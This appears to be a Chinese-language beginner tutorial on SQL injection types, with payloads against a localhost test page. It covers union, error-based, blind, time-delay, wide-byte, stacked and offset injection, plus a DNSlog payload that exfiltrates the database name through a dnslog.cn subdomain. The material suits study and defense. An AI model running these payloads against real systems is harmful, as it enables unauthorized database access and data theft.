初學SQL 注入之常見的幾種注入型別
SQL注入原理
老生常談,SQL注入攻擊的本質就是把使用者輸入的引數當做SQL語句來執行,Web應用程式對使用者輸入資料的合法性沒有判斷和過濾,攻擊者可以通過構造不同的SQL語句來實現對資料庫的任意操作。比如增刪改查等,如果資料庫的使用者許可權足夠大,還可以對作業系統執行操作。
這裡需要滿足2個條件:
1.使用者可以控制自己的輸入
2.輸入得引數可以被拼接成sql語句執行。
危害:造成資訊洩露,上傳webshell,篡改網頁資訊等。
SQL注入分類
0x00 聯合注入
原理沒什麼好說的,最簡單的一種注入方式,下面直接介紹一下手注的過程。
1.判斷是否存在注入點
http://127.0.0.1/test.php?id=1and 1=2 頁面顯示錯誤
也可以用id=1’、id=-1、id=2-1、and1>0等方式。
2.用order by猜欄位數
order by的作用是對欄位進行一個排序,如order by 5,根據第五個 欄位進行排序,如果一共有4個欄位,你輸入order by 5系統就會報錯不知道怎麼排序,所以可以用order by來判斷有多少個欄位。
http://127.0.0.1/test.php?id=1 order by 5頁面顯示正常 http://127.0.0.1/test.php?id=1 order by 6頁面顯示錯誤,說明存在5個欄位
3.聯合查詢尋找輸出點
select * from news where id=12333 union select 1,2,3,4
注:這裡有時候需要將前面的id寫一個不會回顯的引數,否則有的時候資料會覆蓋到我們需要顯示出來的資料。
4.查詢庫名
http://127.0.0.1/test.php?id=1 union select 1,2,3,database()
5.查詢表名
在mysql5.0以上的版本中加入了information_schema這個系統自帶庫,可以看到裡面用資料庫可以查詢到表名,用表名可以查詢到欄位,我們可以加以利用。
information_schema.tables存放著表名和庫名的對應
構造語句:union select 1,table_name,3,4 from information_schema.tables where table_schema=’庫名’ limit 0,1
limit m,n 其中m代表了從哪個位置(從0開始),n代表著查詢幾條資料。
也可以用group_concat()把多條資料並在一起輸出。
6.查詢欄位
information_schema.columns存放著欄位名和表名的對應
構造語句:union select 1,column_name,3,4 from information_schema.columns where table_name=’表名’
0x01 http-header注入
有時候開發人員為了驗證客戶端頭資訊,或者獲取客戶端的一些資訊,會對客戶端的http-header資訊進行獲取並使用sql語句進行處理,頭注入就是將請求頭中的資料放入資料庫當做命令執行。
User-Agent:伺服器能夠識別客戶使用的作業系統及版本、瀏覽器版本等。
Cookie:網站為了辨別使用者身份,進行session跟蹤而儲存在使用者本地終端上的資料。
Rerferer:告訴伺服器我是從哪個頁面連結過來的。
X-Forward-For:簡稱XFF頭,代表http請求端真實的IP,一般在用了http代理或者負載均衡伺服器會用到。
0x02 報錯注入
在SQL注入攻擊過程中,伺服器開啟了錯誤回顯,頁面會返回錯誤資訊,利用報錯函式獲取資料庫資料。
一: updatexml()
updatexml(XML_document, XPath_string, new_value);
簡單來說就是updatexml(目標xml內容,xml文件路徑,更新的內容)
我們在xml文件路徑的位置寫入了子查詢,和特殊字元拼接在一起,因為不符合輸入路徑規則然後報錯,先執行了子查詢我們可以得到庫名。0x7e是16進位制裡面的“~”,是一個特殊符號,不符合路徑規則報錯
語句:select * from aaa where id=1 and updatexml(1,concat(0x7e,(select user()),1)
二:floor()
floor和count和group by三個函式在一起會產生報錯。
語句:select * from aaa where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
三: extractvalue()
原理和updatexml一樣。
語句:select * from aaa where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
0x03 布林型盲注
利用場景:有些網站沒有輸出點,且關閉了錯誤回顯。
這裡以mysql為例,需要用到的幾個函式。
length():函式的返回值為字串的位元組長度。
substr():擷取字串,用法substr(string, start,length)
string-指定的要擷取的字串 start-規定在字串的何處開始 length-指定要擷取的字串長度
ascii():返回字串中第一個字元的ascii值
1:使用length()函式猜資料庫名長度
如length(database())>10,頁面顯示正常。
length(database())>20,頁面顯示不正常。
length(database())=9,頁面顯示正常。
我們可以用二分法猜解得到資料庫的長度。
2:利用ascii猜資料庫名
and (ascii(substr(database(),1,1)))=100,如果頁面返回正常,說明資料庫名稱第一位是d
3:猜欄位名
and (ascii(substr((select column_name from information_schema.columns where table_name=‘aaa’ limit 0,1),1,1)))>100
0x04 延時注入
有時候我們會遇到一種情況,無論怎麼操作頁面都是返回正常,這時我們可以考慮用延時注入。
這裡用mysql舉例,需要用到兩個函式。
sleep():執行掛起一段時間,也就是等待一段時間在繼續執行。
例:select * from users where id=1 and sleep(5); /* 5秒之後執行SQL語句*/
if(expr1,expr2,expr3):expr1為0或者null或者false,則返回 expr3 ; 否則,返回expr2。
構造語句:and if(ascii(substr(database(),1,1))=100,0,sleep(10))
如果庫名第一個字元是d,則網頁延時10秒。
一些其他注入:
0x05 寬位元組注入
在一些老版本的php中可以開啟防禦函式magic_quotes_gpc,也叫魔術引號,作用是判斷使用者提交的資料,包括有get、post、cookie過來的資料裡面的特殊字元增加轉義字元”\”,以確保這些資料不會因為特殊字元引起的汙染而出現致命的錯誤。單引號(‘)、雙引號(“)、反斜線(\)等字元都會被加上反斜線。
因為單引號和雙引號裡面的內容都是字串,如果我們輸入的東西不能閉合掉單引號雙引號,就無法產生sql注入,在新版本中雖然取消了魔術引號,但是很多cms依然會用一些函式替代,比如addslashes()等。
那麼我們怎麼逃逸出這個轉義呢?這時候可以使用寬位元組注入。
原理:如果程式設計資料庫編碼的時候設定了非英文編碼,php傳送請求到mysql時經過一次gbk編碼,因為gbk是雙位元組編碼,當設定gbk編碼後,遇到了連續兩個位元組都符合gbk取值範圍,會自動解析成一個漢字,輸入%df%27,本來\會轉義%27(’),但\(%5c)的編碼數為92,%df的編碼數為223,符合取值範圍,於是%df%5c會解析成為一個漢字“運”,單引號就逃逸了出來,從而繞過轉義造成注入。
注:1.POST注入並不會進行URL轉碼,所以需要改hex。
2.在查詢時用到的表名欄位名不能用原來的‘admin’形式,這時候可以轉換十六進位制,或者用子查詢。
3.還可以用漢字繞過。
0x06 堆疊注入
在SQL中,分號用來表示一條sql語句的結束,我們在;結束語句後面再構造下一條語句,這就造成了堆疊注入。
產生場景:mysql_multi_query() 支援多條sql語句同時執行,只要許可權夠,我們可以進行增刪改查。
例項語句:‘;select * from admins;show database() %23
0x07 DNSlog注入
利用場景:在某些無法直接利用漏洞獲得回顯時如果用盲注來做效率低下且容易被waf攔截,但是目標可以發起請求,這個時候我們可以通過DNS解析把我們想要獲得的資料外帶出來。
注入過程:通過子查詢將內容拼接到域名內,讓load_file()去訪問共享檔案,訪問的域名被記錄,讀取遠端共享檔案,通過拼接出函式做查詢,拼接到域名中,訪問時將訪問伺服器,記錄後查詢該日誌。
這裡需要用到一個mysql函式LOAD_FILE():讀取一個檔案並將其內容作為字串返回。
LOAD_FILE(file_name),file_name是檔案的完整路徑。
要使用這個函式,需要滿足下面三個條件:
檔案必須位於伺服器主機上
必須指定完整路徑的檔案,且必須有FILE許可權。
該檔案所有位元組可讀,但檔案內容必須小於max_allowed_packet(限制server接受的資料包大小函式,預設1MB)。
該功能不是預設開啟的,需要在mysql配置檔案加上一句secure_file_priv=
這裡還需要了解一個概念就是UNC路徑:什麼是UNC路徑?UNC路徑就是類似\softer這樣的形式的網路路徑。格式:\servername\sharename,其中servername是伺服器名。sharename是共享資源的名稱。
目錄或檔案的UNC名稱可以包括共享名稱下的目錄路徑,格式為:\servername\sharename\directory\filename。
UNC路徑其實是windows有個叫做SMB的服務。
DNSlog平臺:dnslog.cn
構造語句:and(select load_file(concat(‘//‘,(select database()),’.xxxxx.dnslog.cn/abc’)))
0x08 偏移注入
使用sql注入的時候,我們會遇到一些無法查詢表名欄位名的時候,比如access資料庫沒有系統自帶庫。
使用場景:當你猜到表名但是無法猜到欄位名的情況下可以使用。
以access資料庫為例,假設我們已經通過爆破得到我們要查詢的表名為admin
1.判斷欄位:
用order by判斷一共有15個欄位
2.爆出顯示位:
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from admin
假設輸出點在3,4,5
3.偏移注入判斷admin表裡的欄位數為6
union select 1,2,3,4,5,6,7,8,9,10,11,12,*,14,15 from admin 頁面報錯
union select 1,2,3,4,5,6,7,8,9,* from admin 頁面正常
等價於admin. 表示admin表裡面的所有欄位
4.獲取欄位名
我們假設admin裡面的6個欄位為a,b,c,d,e,f
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from admin等價為union select 1,2,3,4,5,6,7,8,9, * from admin
因為輸出點在3,4,5那麼
union select 1,2, *,9,10,11,12,13,14,15 from admin
是不是等於union select 1,2,a,b,c,d,e,f,9,10,11,12,13,14,15 from admin
那麼我們就可以得到a,b,c的資料
我們可以繼續移動位置union select 1,admin.*,8,9,10,11,12,13,14,15 from admin
這樣我們就可以的b,c,d的資料,但是我們怎麼也無法得到f的資料,所以偏移注入也是有侷限的,原本要查詢的欄位數越多,輸出點越多,就越有利。